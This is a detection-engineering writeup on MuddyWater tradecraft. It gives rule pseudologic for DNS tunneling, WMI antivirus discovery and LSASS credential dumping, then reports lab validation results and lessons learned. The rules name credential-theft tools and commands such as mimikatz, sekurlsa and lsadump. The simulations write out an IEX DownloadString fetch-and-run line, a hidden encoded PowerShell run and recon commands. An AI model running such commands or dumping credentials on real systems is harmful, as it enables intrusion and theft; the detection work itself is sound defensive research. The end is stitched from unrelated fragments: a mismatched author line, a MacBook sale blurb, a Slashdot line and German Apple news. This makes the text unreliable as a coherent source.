Why it’s built this way: DNS tunneling detection cannot rely on a single heuristic because each heuristic has a different failure mode. Volume (Rule A) catches high-throughput tunneling but misses slow/low-rate tools that deliberately throttle to blend in. Label length (Rule B) catches encoded payloads regardless of rate or entropy but misses short encoded segments. Entropy (Rule C) catches random-looking subdomains at any length and rate but produces noise on CDN hash labels without a comprehensive baseline. The three rules are additive — any single trigger warrants investigation, two or more from the same source are high-confidence.

The thresholds (>100 queries per 60 seconds, >40-character labels, >3.5 Shannon entropy) were validated in the lab by generating 180 DNS queries with 42-character random subdomains from the simulation playbook.

Required telemetry: DNS resolver logs with full QNAME — not available in all environments. If only DNS flow logs (not query content) are available, Rule B and Rule C are unavailable.

# Rule A — High query volume to single parent domain
event_type = dns_query
GROUP BY source_ip, query_domain_parent
HAVING COUNT(*) > 100 WITHIN 60 seconds

# Rule B - Long subdomain labels (>40 chars indicates encoded payload)
event_type = dns_query AND
LENGTH(subdomain_label) > 40
# Rule C - High entropy subdomains (random-looking encoded content)
event_type = dns_query AND
SHANNON_ENTROPY(subdomain_label) > 3.5 AND
subdomain_label NOT IN [known_cdn_domains_baseline]

Key false positives: CDN domains using hash-based subdomains (Akamai, Cloudflare, AWS) — require comprehensive allowlist for Rule C. DNSSEC validation traffic with long encoded keys. Calibrate thresholds against your specific environment’s DNS baseline before deploying Rule A in production.

det_mw_0009 — WMI SecurityCenter2 Discovery Survey

Techniques: T1047, T1082, T1016, T1033, T1518.001 · Score: 5 (lab-validated)

What it targets: CISA AA22–055A reproduces the exact PowerShell survey script MuddyWater uses post-access: a WMI query chain that collects IP addresses (Win32_NetworkAdapterConfiguration), OS name and architecture (Win32_OperatingSystem), hostname, domain, username (Win32_ComputerSystem), and AV product names (root\SecurityCenter2\AntiVirusProduct). The collected data is assembled into a delimited string, encoded, and sent to C2.

Why it’s built this way: The detection anchors on SecurityCenter2\AntiVirusProduct because it is the highest-specificity WMI class in the documented survey. The other classes — OS name, IP addresses, hostname — are queried by dozens of legitimate monitoring tools. AntiVirusProduct enumeration has a much smaller legitimate caller population: primarily AV management consoles and endpoint security platforms. This makes it the most reliable low-noise signal from the full survey chain.

Three rules are layered by telemetry quality. Rule A requires Script Block Logging (highest fidelity, decoded script content visible). Rule B falls back to command-line logging — medium fidelity, only fires if SecurityCenter2 appears in the literal command line, not in a decoded payload. Rule C is the most specific: a multi-class pattern that matches the complete documented survey chain, covering all five ATT&CK techniques in a single event. T1033 coverage was added to Rule C via Win32_ComputerSystem during the analyst review pass — it was missing from the initial draft.

Rule C matches the CISA-documented script closely enough to be treated as near-exact-match when observed.

Required telemetry: Script Block Logging (Event ID 4104) — required for Rules A and C. Sysmon Event ID 1 for Rule B.

# Rule A — Script Block captures SecurityCenter2 query
event_type = script_block_log AND
script_block_text MATCHES "SecurityCenter2" AND
script_block_text MATCHES "AntiVirusProduct"

# Rule B - Process command line contains SecurityCenter2 (fallback without SBL)
event_type = process_create AND
image ENDSWITH "powershell.exe" AND
command_line MATCHES "SecurityCenter2"
# Rule C - Full survey pattern: all 5 ATT&CK techniques in one event
# T1518.001 (AV enum) + T1016 (network config) + T1082 (OS info) + T1033 (username)
event_type = script_block_log AND
script_block_text MATCHES "SecurityCenter2" AND
script_block_text MATCHES "Win32_NetworkAdapterConfiguration" AND
script_block_text MATCHES "Win32_OperatingSystem" AND
script_block_text MATCHES "(Win32_ComputerSystem|Win32_UserAccount|UserName)"

Key false positives: AV management software and endpoint security platforms querying SecurityCenter2. IT inventory tools (Lansweeper, SCCM hardware inventory). Exclude by process hash or signer rather than by process name, since attackers can rename their scripts.

det_mw_0010 — LSASS Memory Access and Credential Tool Execution

Techniques: T1003.001, T1003.004, T1003.005 · Score: 5 (lab-validated)

What it targets: MuddyWater performs credential access using three tools documented in CISA AA22–055A: Mimikatz and procdump64.exe against LSASS memory (T1003.001), and LaZagne for LSA secrets (T1003.004) and cached domain credentials (T1003.005).

Why it’s built this way: Three independent rules cover the full credential dumping lifecycle, each with a different detection philosophy.

Rule A is the design priority: a process accessing LSASS memory is the universal pre-condition for any LSASS dump, regardless of tool. Detecting the access event (Sysmon EID 10) rather than the tool name means Rule A fires on Mimikatz, procdump, custom C++ loaders, and any future variant — as long as the access mask is in the covered set. The access masks were sourced from established Mimikatz research (0x1010, 0x1410, 0x1438, 0x143a, 0x1418) and extended with 0x1fffff (PROCESS_ALL_ACCESS, used by custom dumpers) and 0x1f0fff (another all-access variant observed in the field). The exclusion list covers known legitimate callers — AV engines, CSrss, WinInit — without which this rule generates constant noise from endpoint security products.

Rule B is the name-based backstop. Lower fidelity because it misses renamed tools, but catches actors using stock Mimikatz. The analyst review pass re-bracketed the command_line clause to keep it inside the event_type guard — a real operator precedence bug that would have caused the command-line check to match events outside the process_create filter.

Rule C catches the dump artifact on disk — a final fallback when process-level events are unavailable. .dmp files in user-writable paths are anomalous outside of Windows Error Reporting, which writes to a fixed known path.

Required telemetry: Sysmon Event ID 10 (ProcessAccess) with explicit lsass.exe targeting in the Sysmon configuration — this is not enabled by default. Without it, Rule A does not exist. Sysmon Event ID 1 for Rule B. Sysmon Event ID 11 for Rule C.

# Rule A — LSASS process access (tool-agnostic, highest confidence)
event_type = process_access AND
target_image ENDSWITH "lsass.exe" AND
granted_access MATCHES "(0x1010|0x1410|0x1438|0x143a|0x1418|0x1fffff|0x1f0fff)" AND
source_image NOT IN ["MsMpEng.exe","csrss.exe","wininit.exe","svchost.exe",
                     "SecurityHealthService.exe","CylanceSvc.exe","SentinelAgent.exe"]

# Rule B - Known credential tool execution (name-based backstop)
# command_line clause is bracketed inside event_type guard (bug fix in review)
event_type = process_create AND
(image IMATCHES "mimikatz\.exe" OR
 image ENDSWITH "procdump64.exe" OR
 image IMATCHES "lazagne\.exe" OR
 command_line IMATCHES "(sekurlsa|lsadump|privilege::debug)")
# Rule C - Dump file creation in user-writable path (artifact backstop)
event_type = file_create AND
file_extension = "dmp" AND
file_path MATCHES "(\\AppData\\|\\Temp\\|\\Users\\|\\ProgramData\\)"

Key false positives: AV and EDR agents that legitimately access LSASS — exclude by process hash, not name, since names are spoofable. Windows Error Reporting creating .dmp files in %TEMP%\WER — exclude that specific path in Rule C. Legitimate procdump usage by developers for application crash diagnostics — require a separate approved-tools baseline.

Important environment note: Credential Guard and PPL (Protected Process Light) prevent LSASS reads on modern, hardened systems. If your environment has these enabled, LSASS dump detection is still valuable as a canary for misconfigured or unpatched endpoints, but confirm protection status before using coverage scores here as a measure of actual protection.

Phase 5: Validation Lab

Architecture

Deploy in One Command

git clone https://github.com/anpa1200/operation-desert-hydra.git
cd operation-desert-hydra
cp stack/.env.template stack/.env   # fill in passwords
bash start.sh

start.sh creates the Docker network, starts all stack services, waits for Elasticsearch, boots the Windows 10 Vagrant VM, provisions it via Ansible (Sysmon + Script Block Logging + Winlogbeat), and runs all 11 simulations.

Simulation Design

Every simulation is benign-by-design:

• No live malware, no real C2, no credential exfiltration
• Simulations write benign files (VBScript with Write-Host payload), run real Windows binaries with harmless arguments, or use .NET to open process handles with minimal access masks
• All .dmp files are deleted immediately after event confirmation
• The VM does not connect to real Telegram infrastructure

The Ansible playbook (lab/ansible/playbooks/validate.yml) runs each simulation, waits 3 seconds, queries the Windows Event Log with Get-WinEvent -FilterHashtable (time-bounded to the last 60 seconds), and prints PASS / FAIL.

Step 21: det_mw_0001 — Spearphishing Delivery Chain

What MuddyWater does: Delivers a ZIP or Office file via email or Egnyte/OneDrive link. The attachment contains a VBScript or WSF file that spawns a hidden encoded PowerShell loader (PowGoop/POWERSTATS).

Simulation: wscript.exe sim_delivery.vbs → powershell.exe -WindowStyle Hidden -NonInteractive -EncodedCommand <Base64>

KQL proof query:

winlog.event_id: 1
AND winlog.event_data.ParentImage: *wscript.exe*
AND winlog.event_data.Image: *powershell.exe*
AND winlog.event_data.CommandLine: *EncodedCommand*

Result: PASS — Sysmon EID 1 captured wscript.exe → powershell.exe -EncodedCommand. Parent-child chain and Base64 command line both visible in Kibana.

Step 22: det_mw_0002 — Web Service Shell Spawn

What MuddyWater does: Exploits Exchange (CVE-2020–0688), IIS, or Log4j (CVE-2021–44228) — web-facing service spawns cmd.exe or powershell.exe for post-exploitation recon.

Simulation: wscript.exe sim_exploit.vbs → cmd.exe /c whoami & hostname & ipconfig /all

KQL proof query:

winlog.event_id: 1
AND winlog.event_data.ParentImage: *wscript.exe*
AND winlog.event_data.Image: *cmd.exe*
AND winlog.event_data.CommandLine: (*whoami* OR *hostname* OR *ipconfig*)

Result: PASS — Sysmon EID 1 captured wscript.exe → cmd.exe with recon commands in CommandLine.

Step 23: det_mw_0003 — PowerShell Encoded Command

What MuddyWater does: PowGoop uses -EncodedCommand for C2 setup. POWERSTATS uses IEX + (New-Object Net.WebClient).DownloadString(...) for stager execution.

Rule A simulation: powershell.exe -NonInteractive -e <Base64(Write-Host "test")>

KQL — Rule A:

winlog.event_id: 1
AND winlog.event_data.CommandLine: *-e*
AND winlog.event_data.CommandLine: *[A-Za-z0-9+/]{40,}*

Rule A Result: PASS — 4 events captured. PowerShell with Base64 blob visible in command line.

Rule B simulation: IEX ((New-Object Net.WebClient).DownloadString('http://127.0.0.1:19999/...'))

KQL — Rule B:

winlog.event_id: 4104
AND winlog.event_data.ScriptBlockText: *IEX*
AND winlog.event_data.ScriptBlockText: *DownloadString*

Rule B Result: PASS — 16 EID 4104 events. Script Block Logging decoded the IEX + DownloadString pattern.

Capability gate: Script Block Logging (EID 4104) must be explicitly enabled. Without it, Rule B is unavailable and detection degrades to command-line heuristics only.

Step 24: det_mw_0004 — DLL Side-Loading

What MuddyWater does: PowGoop drops Goopdate.dll alongside a copy of GoogleUpdate.exe outside the legitimate Google installation path. When GoogleUpdate launches, Windows loads the malicious DLL.

Simulation: Copy a benign 4-byte MZ stub as goopdate.dll into a test directory alongside a signed binary. Launch the binary.

Result: PARTIAL — Sysmon EID 7 (ImageLoad) did not fire. Root cause: a 4-byte MZ stub is not a valid loadable DLL — the Windows loader rejects it before generating an EID 7 event. The Sysmon config and detection rule are correct. Resolution: Re-test with a real GoogleUpdate.exe (requires Google Chrome installed on lab VM).

Step 25: det_mw_0005 — Registry Run Key Persistence

What MuddyWater does: Small Sieve writes OutlookMicrosift to HKCU\...\CurrentVersion\Run — a deliberate typo designed to look like a Microsoft entry. Canopy drops a .wsf file to the Startup folder.

Rule A simulation: Write OutlookMicrosift = notepad.exe to HKCU\...\Run

KQL — Rule A:

winlog.event_id: 13
AND winlog.event_data.TargetObject: *CurrentVersion\Run\OutlookMicrosift*

Rule A Result: PASS — 3 Sysmon EID 13 events. OutlookMicrosift Run key captured.

Rule C simulation: Copy a benign .wsf file to %APPDATA%\...\Start Menu\Programs\Startup\

KQL — Rule C:

winlog.event_id: 11
AND winlog.event_data.TargetFilename: *\Startup\*
AND winlog.event_data.TargetFilename: *.wsf*

Rule C Result: PASS — 3 Sysmon EID 11 events. WSF file creation in Startup folder captured.

Step 26: det_mw_0006 — Scheduled Task (43-Minute Beacon)

What MuddyWater does: BugSleep creates a scheduled task triggered every 43 minutes. This interval is a BugSleep artifact — not a default, not a round number. It appears in INCD 2024 reporting and is one of the most precise technical IoCs in the dataset.

Simulation: schtasks.exe /create /tn DH-SIM-0006-TestTask /tr notepad.exe /sc MINUTE /mo 43 /f

KQL:

winlog.event_id: 1
AND winlog.event_data.Image: *\schtasks.exe*
AND winlog.event_data.CommandLine: */mo 43*

Result: PASS — 3 Sysmon EID 1 events. schtasks.exe /mo 43 captured. The 43-minute interval in the command line is the exact BugSleep artifact.

Hunt value: PT43M in Task Scheduler Operational logs is a retroactive hunt trigger. One match = investigate immediately. No legitimate software uses this exact interval.

Step 27: det_mw_0007 — RMM Tool Abuse

What MuddyWater does: Delivers a legitimate RMM binary (ScreenConnect, SimpleHelp, AteraAgent, Level, PDQConnect) via phishing email or file-sharing link. The binary is placed in AppData, Temp, or Downloads — not installed by an IT management system. This is documented in all five government source tiers.

Simulation: Copy ScreenConnect.ClientService.exe to C:\Temp\dh-lab\ and launch it.

KQL:

winlog.event_id: 1
AND winlog.event_data.Image: *\Temp\ScreenConnect*

Result: PASS — 6 Sysmon EID 1 events. RMM binary executing from \Temp\ captured.

Production requirement: This detection requires a baseline of authorized RMM deployments per endpoint. Without the baseline, it generates noise. With it, any out-of-baseline RMM execution is an immediate high-confidence alert.

Step 28: det_mw_0008a — Telegram Bot API C2

What MuddyWater does: Small Sieve uses the Telegram Bot API (api.telegram.org:443) for C2 over HTTPS. In an enterprise environment where Telegram is not standard software, any non-browser process connecting to this domain is anomalous.

Simulation: powershell.exe makes an HTTP request to https://api.telegram.org/botTEST/getMe (invalid token — 401 response; the connection attempt is the evidence).

Result: FAIL — Sysmon EID 3 (NetworkConnect) did not fire. Root cause: VirtualBox NAT prevents Sysmon from capturing the outbound network connection to api.telegram.org in the lab environment. The Sysmon rule config is correct. Resolution: Re-test with a host-only NIC that provides direct internet access.

Step 29: det_mw_0008b — DNS Tunneling

What MuddyWater does: Mori uses DNS tunneling for C2. High-volume queries with long, high-entropy subdomain labels are the telemetry signature.

Simulation: 60 Resolve-DnsName queries with 42-character random labels against *.test.internal.

KQL:

winlog.event_id: 22
AND winlog.event_data.QueryName: *.test.internal*

Result: PASS — 180 Sysmon EID 22 events captured. 42-character random labels visible in QueryName field. Volume threshold (Rule A) and label-length threshold (Rule B) would both trigger in a production deployment.

Step 30: det_mw_0009 — WMI SecurityCenter2 Discovery

What MuddyWater does: CISA AA22–055A documents a post-access survey script that queries root\SecurityCenter2\AntiVirusProduct via WMI — enumerating the installed AV product before deciding how to proceed. This is also combined with OS info, network config, and user queries in a single script.

Simulation (Rule A): Get-WmiObject -Namespace root/SecurityCenter2 -Class AntiVirusProduct

KQL — Rule A:

winlog.event_id: 4104
AND winlog.event_data.ScriptBlockText: *SecurityCenter2*

Rule A Result: PASS — 21 PS EID 4104 events. SecurityCenter2 visible in decoded ScriptBlockText.

Detection value: SecurityCenter2 + AntiVirusProduct is one of the highest-specificity behavioral signals in this dataset. Its legitimate caller population is tiny: only AV management consoles and a few inventory tools query this namespace. A PowerShell process making this query outside those exceptions warrants immediate investigation.

Step 31: det_mw_0010 — LSASS Memory Access

What MuddyWater does: Uses Mimikatz, procdump64.exe, and LaZagne to dump LSASS memory and extract credentials. CISA AA22–055A names all three tools.

Rule A simulation: .NET OpenProcess(PROCESS_QUERY_INFORMATION, lsass.pid) — opens a handle to lsass.exe with a minimal access mask, triggering Sysmon EID 10.

KQL — Rule A:

winlog.event_id: 10
AND winlog.event_data.TargetImage: *lsass.exe*
AND winlog.event_data.GrantedAccess: 0x1400

Rule A Result: PASS — 3,398 Sysmon EID 10 events with GrantedAccess: 0x1400 and TargetImage: lsass.exe. The high event count is expected — LSASS receives many legitimate handle requests from AV, EDR, and Windows system processes. Production deployment requires an allowlist of known-good callers.

Rule C simulation: Write a 4-byte MDMP header as lsass_test.dmp to C:\Temp\dh-lab\ — triggers Sysmon EID 11.

KQL — Rule C:

winlog.event_id: 11
AND winlog.event_data.TargetFilename: *.dmp*
AND winlog.event_data.TargetFilename: *Temp*

Rule C Result: PASS — 6 Sysmon EID 11 events. C:\Temp\dh-lab\lsass_test.dmp creation captured.

Lab safety: The .dmp file was deleted immediately after event confirmation. No credential material exists in the file — it was a 4-byte header stub. No real LSASS dump was performed.

Phase 5 Validation Results Summary

Full run: ansible-playbook playbooks/validate.yml — ok=70 changed=42 failed=0

• Step 21 — det_mw_0001 · Process spawn → PASS
• Step 22 — det_mw_0002 · Shell from service → PASS
• Step 23 — det_mw_0003 · Rule A (-e + Base64) → PASS
• Step 23 — det_mw_0003 · Rule B (IEX + DownloadString) → PASS
• Step 24 — det_mw_0004 · EID 7 ImageLoad → PARTIAL
• Step 25 — det_mw_0005 · Rule A (OutlookMicrosift) → PASS
• Step 25 — det_mw_0005 · Rule C (WSF in Startup) → PASS
• Step 26 — det_mw_0006 · schtasks /mo 43 → PASS
• Step 27 — det_mw_0007 · Rule A (RMM from \Temp) → PASS
• Step 27 — det_mw_0007 · Rule B (RMM from PS parent) → PASS
• Step 28 — det_mw_0008a · EID 3 Telegram → FAIL
• Step 29 — det_mw_0008b · EID 22 DNS tunneling → PASS
• Step 30 — det_mw_0009 · Rule A (SecurityCenter2 EID 4104) → PASS
• Step 30 — det_mw_0009 · Rule B (wmic SecurityCenter2) → PASS
• Step 31 — det_mw_0010 · Rule A (LSASS EID 10) → PASS
• Step 31 — det_mw_0010 · Rule C (.dmp EID 11) → PASS

13 PASS / 1 PARTIAL / 1 FAIL across 16 rule checks.

Phase 6: Coverage Matrix

Of 22 ATT&CK techniques documented in the source set:

• 15 techniques (68%) — score 5, fully lab-validated
• 2 techniques (9%) — score 4, correlated and validated via fallback
• 4 techniques (18%) — score 3, rule present but validation incomplete
• 7 techniques — score 0, no detection (Lateral Movement, Collection, Exfiltration, Impact)

The six capability gates that determine your effective coverage floor:

• PowerShell Script Block Logging (EID 4104) — unlocks det_mw_0003 Rule B and det_mw_0009 Rules A/C. Without it: detection degrades to command-line heuristics only.
• Sysmon EID 10 (ProcessAccess) — unlocks det_mw_0010 Rule A (tool-agnostic LSASS access). Without it: falls back to binary name matching, misses custom dumpers.
• Sysmon EID 7 (ImageLoad) — unlocks det_mw_0004 (DLL side-loading). Without it: DLL loads are completely invisible.
• DNS resolver logging (full QNAME) — unlocks det_mw_0008b (DNS tunneling). Without it: Mori C2 channel is invisible.
• Network flow / proxy logs — unlocks det_mw_0007 Rule C and det_mw_0008a. Without it: RMM and Telegram C2 network-layer coverage lost.
• Email gateway telemetry (SEG) — unlocks det_mw_0001 full correlated logic. Without it: email-to-endpoint correlation unavailable.

What Defenders Should Do Right Now

1. Baseline your RMM deployments. det_mw_0007 is the most consistently documented MuddyWater technique across all five source tiers. It fires on ScreenConnect, SimpleHelp, AteraAgent, Level, and PDQConnect from non-standard paths. But it needs a baseline of authorized deployments first. Build the baseline; the detection logic is already written.

2. Enable PowerShell Script Block Logging fleet-wide. One Group Policy change:

Computer Configuration → Administrative Templates → Windows Components
→ Windows PowerShell → Turn on PowerShell Script Block Logging → Enabled

This unlocks det_mw_0003 Rule B and all three det_mw_0009 rules. No other change required.

3. Configure Sysmon ProcessAccess against lsass.exe. Without it, LSASS credential dumping detection is binary-name-only. Renamed Mimikatz and custom C++ dumpers are invisible. Add <ProcessAccess onmatch="include"> targeting lsass.exe to sysmon.xml.

4. Hunt for PT43M now. Query your Task Scheduler Operational logs for any task with a RepetitionInterval of PT43M. If you find one you didn't create, that is BugSleep. No other legitimate software uses this interval.

Reproduce It Yourself

The entire project is on GitHub: github.com/anpa1200/operation-desert-hydra

One repository contains everything: Docker Compose stack (OpenCTI + Elasticsearch + Kibana), Vagrant lab VM, Ansible provisioning playbooks, detection rules in four formats (Sigma, KQL, Elastic JSON, SPL), structured intelligence datasets (YAML), and all 12 proof screenshots.

Deploy:

git clone https://github.com/anpa1200/operation-desert-hydra.git
cd operation-desert-hydra
cp stack/.env.template stack/.env
# fill in ELASTIC_PASSWORD, OPENCTI_ADMIN_PASSWORD, OPENCTI_ADMIN_TOKEN
bash start.sh
# → OpenCTI: http://localhost:8080
# → Kibana:  http://localhost:5601
# → all 11 simulations run automatically (~10 min)

Stop / destroy:

bash stop.sh                # halt VM, keep stack and data
bash stop.sh --destroy-vm   # remove VM disk
bash stop.sh --destroy-stack  # also stop Docker stack

Skip the lab VM (OpenCTI + Kibana only, no Windows VM):

bash start.sh --skip-lab

Prerequisites: Docker, VirtualBox, Vagrant, Ansible, Python 3 + pywinrm. Full details in the README.

Key files:

• docs/article-step-0-project-scenario.md — full phase-by-phase walkthrough
• data/detections.yaml — all 11 detection records with coverage scores
• lab/ansible/playbooks/validate.yml — the 11 simulation playbook
• detections/sigma/, detections/kql/, detections/elastic/, detections/spl/ — rule exports

What This Project Is Not

This is not a red team toolkit. The lab produces benign telemetry for detection validation — no live malware, no real C2, no credential theft. The detection pseudologic is SIEM-agnostic and requires production translation and tuning before deployment. Coverage scores are conservative: 5 requires a Kibana screenshot, not just passing logic.

The source base is entirely public. The actor’s actual TTPs may be more sophisticated than what is documented. Treat the coverage matrix as a floor, not a ceiling.

Production Scars

Everything above describes what the project looks like after it worked. This section documents what broke, in what order, and what was actually fixed — the kind of detail that gets cut from writeups but is the most useful part for anyone trying to reproduce this.

Scar 1: The Simulations Were Faking It

The first validation attempt used synthetic event markers. The simulation playbook injected a DH-SIM-0001 string into the CommandLine field, then the Kibana queries looked for that exact string:

winlog.event_id: 1 AND winlog.event_data.CommandLine: *DH-SIM-0001*

This produces a screenshot. It does not prove a detection works.

The problem is fundamental: a query that looks for a marker you injected proves that injection works, not that a detection fires on real attacker behavior. If MuddyWater runs wscript.exe and spawns powershell.exe -EncodedCommand, the DH-SIM-0001 query returns nothing. The detection coverage number was meaningless.

What was fixed: All simulations were rewritten to produce realistic execution chains — wscript.exe spawning powershell.exe -EncodedCommand <base64>, schtasks.exe /create /sc minute /mo 43, lsass.exe being accessed by a test process with the correct GrantedAccess mask. All KQL queries were rewritten to use real field-based conditions: winlog.event_data.ParentImage, winlog.event_data.GrantedAccess, winlog.event_data.TargetObject, winlog.event_data.ScriptBlockText. Every proof screenshot now shows a real field value, not a synthetic marker.

The lesson: A proof screenshot is only as good as the conditions that trigger it. If the simulation writes what the query reads, you have a tautology, not a detection.

Scar 2: det_mw_0004 — The DLL That Wouldn’t Load

The simulation for det_mw_0004 (DLL side-loading) created a 4-byte MZ-header stub file named Goopdate.dll in a temp directory alongside GoogleUpdate.exe, then waited for Sysmon Event ID 7 (ImageLoad) to fire.

It never fired.

Root cause: a 4-byte MZ stub is not a valid PE binary. The Windows loader parses the PE header before loading — the stub fails the loader’s structural validation and is rejected before the load event is generated. Sysmon only generates EID 7 for DLLs that actually get mapped into process memory. A file that fails to load produces no EID 7.

The Sysmon configuration was correct. The detection rule was correct. The simulation was wrong.

Result: PARTIAL — coverage score 3 instead of 5.

What it would take to fix: The test needs a real, valid DLL — even an empty DLL compiled from a single DllMain that returns TRUE. Alternatively, installing the actual Google Chrome on the lab VM provides a real Goopdate.dll at the expected path, which could then be copied to a non-standard location. Neither was done in this iteration due to lab scope constraints (no internet access on the VM for Chrome installation, no compiler toolchain in the lab).

The lesson: When validating EID 7 detections, your test artifact must be a valid loadable PE. A stub file saves time and produces nothing.

Scar 3: det_mw_0008a — VirtualBox NAT Ate the Telegram Traffic

The simulation for det_mw_0008a (Telegram Bot API C2) made an outbound HTTPS connection to api.telegram.org from PowerShell and waited for Sysmon Event ID 3 (NetworkConnect) to fire.

It never fired.

Root cause: VirtualBox NAT performs network address translation at the hypervisor level. Sysmon captures network connections at the Windows kernel level. With NAT, the connection from the VM’s perspective terminates at the NAT gateway (10.0.2.2), not at api.telegram.org. Sysmon sees a connection to 10.0.2.2:443, not api.telegram.org:443. The detection rule looking for api.telegram.org as the destination found nothing.

There was an additional layer: VirtualBox NAT does not forward arbitrary outbound HTTPS traffic by default in this lab configuration — the VM had no direct internet path, only access to the host’s 10.0.2.2 gateway. Even fixing the Sysmon observation problem would require a working internet path from the VM.

Result: FAIL — coverage score 3 instead of 5.

What it would take to fix: Add a host-only or bridged network adapter to the VM that provides direct internet access, and confirm Sysmon captures the connection with the external destination. Alternatively, run a local HTTPS server on the host at api.telegram.org via a hosts file override, which would make the destination resolvable within the lab and catchable by Sysmon.

The lesson: VirtualBox NAT is the right choice for lab isolation (the VM cannot reach the internet accidentally), but it is the wrong choice if you need to validate detections based on external destination hostnames. Design the network topology before writing detection validation cases.

Scar 4: Kibana Showed Nothing — Wrong Time Window

After running the SecurityCenter2 WMI discovery simulation (Step 30), the Kibana query returned zero results.

The query was correct. The simulation had run correctly. The events were in Elasticsearch.

Root cause: Kibana’s default time window was set to “Last 15 minutes.” The simulation had run in a previous lab session, and Winlogbeat had shipped the events to Elasticsearch during that session. The events existed — they were just outside the current time window.

What was fixed: Changed the time filter to “Last 24 hours.” Events appeared immediately.

The lesson: When a Kibana proof shows no results, the first diagnostic step is the time filter, not the query. This is obvious in retrospect and a consistent source of false “detection failed” conclusions during initial validation runs.

Scar 5: Detection Design Bugs Found in Review (Before Validation)

Before running any simulations, every detection record went through a structured review pass. Four real bugs were found:

det_mw_0010 Rule B — Operator precedence error. The original pseudologic was:

event_type = process_create AND
image IMATCHES "mimikatz\.exe" OR
image ENDSWITH "procdump64.exe" OR
command_line IMATCHES "(sekurlsa|lsadump|privilege::debug)"

Without explicit parentheses, OR has lower precedence than AND in most query languages. The command_line IMATCHES clause was evaluated independently of the event_type guard, meaning the rule would fire on any event (not just process_create) where the command line contained sekurlsa. In a SIEM with millions of events per day, this generates noise and potentially masks the real signal. The fix added explicit brackets to keep all OR branches inside the event_type = process_create guard.

det_mw_0009 Rule C — T1033 was not covered. The initial Rule C matched SecurityCenter2, Win32_NetworkAdapterConfiguration, and Win32_OperatingSystem — covering T1518.001, T1016, and T1082. The documented CISA script also collects the username via Win32_ComputerSystem. T1033 (System Owner/User Discovery) was missing. Fixed by adding Win32_ComputerSystem|Win32_UserAccount|UserName to the pattern match.

det_mw_0004 Rule A — Missing x86 Google path. The initial allowlist only contained the x64 path C:\Program Files\Google\. On 64-bit Windows, the 32-bit Google Update installs to C:\Program Files (x86)\Google\. Without the x86 path in the allowlist, any Goopdate.dll load from the legitimate 32-bit Google installation would fire the detection. Added both paths.

det_mw_0010 Rule A — Access mask set too narrow. The initial mask set covered standard Mimikatz masks (0x1010, 0x1410, 0x1438) but missed 0x1fffff (PROCESS_ALL_ACCESS, used by custom C++ dumpers and some loaders) and 0x1f0fff (another all-access variant observed in field reporting). A detection that only catches stock Mimikatz masks is bypassed by any custom implementation. Extended the mask set to cover known custom-dumper variants.

The lesson: Writing pseudologic in a YAML field with no syntax validation means operator precedence bugs survive until someone reads the logic carefully. Structured peer review — ideally by someone who will try to break the rule — catches these before they hit production.

Scar 6: The OpenCTI Stack Was in a Different Repository

The original project structure had the OpenCTI Docker Compose stack in a separate repository (opencti-intelligent-shield) that was not included in the desert-hydra repo. The start.sh script referenced the external repo with a hardcoded path. Cloning operation-desert-hydra and running start.sh failed immediately on any machine other than the development machine.

What was fixed: The entire stack — docker-compose.yml, docker-compose.kibana.yml, and .env.template — was copied into stack/ inside the desert-hydra repo. All path references were updated. The repo is now fully self-contained: git clone + cp .env.template .env + bash start.sh works from a clean machine with no external dependencies beyond Docker, Vagrant, VirtualBox, Ansible, and pywinrm.

The lesson: A reproducibility claim requires everything needed to reproduce to be in the same repository. External path dependencies are invisible during development and obvious on first external clone.

Scar 7: MITRE Connector Timing

The import script (tools/opencti_import.py) creates MuddyWater → uses → ATT&CK technique relationships by looking up techniques that the MITRE ATT&CK connector has synced into OpenCTI. The connector takes several minutes to complete its initial sync of 846 techniques.

If the import script runs before the connector finishes, the technique lookup returns nothing — the techniques don’t exist yet. The original script failed silently on these lookups and skipped the relationship creation.

What was fixed: The script was updated with find_or_create_attack_pattern(): if a technique is not yet in OpenCTI, create a stub AttackPattern object with the correct x_mitre_id. When the MITRE connector eventually syncs that technique, OpenCTI's deduplication logic merges the stub with the connector's fully populated object. All relationships that were created against the stub are preserved and now point to the enriched object. Running the script a second time after the connector finishes confirms existing objects rather than creating duplicates.

The lesson: Any script that creates relationships against objects populated by a connector needs to handle the case where the connector has not finished. Fail loudly or create stubs — don’t skip silently.

Surviving Gaps

Two failures from Phase 5 remain open:

det_mw_0004 — DLL side-loading detection (EID 7) is not lab-validated. The detection rule is sound; the simulation needs a valid PE DLL. Coverage score stays at 3 until the lab is extended with a compiled test DLL.

det_mw_0008a — Telegram Bot API connection detection (EID 3) is not lab-validated. The detection rule is sound; the lab network topology prevents capturing external destination hostnames via NAT. Coverage score stays at 3 until the VM has a direct internet path or a local HTTPS proxy target.

These are documented as open items, not dismissed as “out of scope.” The coverage score scale is designed to reflect this: a score of 3 means “behavioral detection, no lab proof” — it is honest about the gap rather than claiming coverage that was not validated.

Seven ATT&CK techniques have zero detection coverage. Lateral movement (T1021.001 RDP, T1550.002 Pass the Hash), Collection (T1005, T1039), Exfiltration (T1041), and Impact (T1486 ransomware, T1490 shadow copy deletion from DarkBit). These are acknowledged in the coverage matrix, not hidden. The actor uses them. The public source base documents them. The detection coverage does not exist in this iteration.

All code, data, and proof screenshots are version-controlled at github.com/anpa1200/operation-desert-hydra

Follow My Work

I publish practical cybersecurity research, CTI workflows, detection engineering notes, malware analysis projects, OpenCTI work, cloud and Kubernetes security research, AI-assisted security tooling, labs, and technical guides.

• Portfolio / Knowledge Base: https://anpa1200.github.io/
• Medium: https://medium.com/@1200km
• GitHub: https://github.com/anpa1200
• LinkedIn: https://www.linkedin.com/in/andrey-pautov/

Andrey Pautov

Operation Desert Hydra — AI-Assisted CTI Pipeline: MuddyWater to Kibana was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Written by: Alden Wahlstrom, David Mainor, Daniel Kapellmann Zafra

Grab the lowest price ever on the new M5 15-inch MacBook Air - Image credit: Apple

• Buy Apple's 15-inch MacBook Air (16GB RAM, 512GB SSD) for $1,099 at Amazon
• Buy Apple's 15-inch MacBook Air (16GB RAM, 512GB SSD) for $1,099 at B&H
  
  
  Continue Reading on AppleInsider | Discuss on our Forums

Read more of this story at Slashdot.

Nächste Woche stellt Apple seine neuen Software-Hauptversionen vor. Teil von iOS 27 und Co wird wohl die smartere Siri und neue Apple Intelligence-Funktionen sein. Auf ... Weiterlesen ...

Der Beitrag Warten auf Siri: Neue Apple TV und HomePod mini stehen bereit erschien zuerst auf Apfelpage.

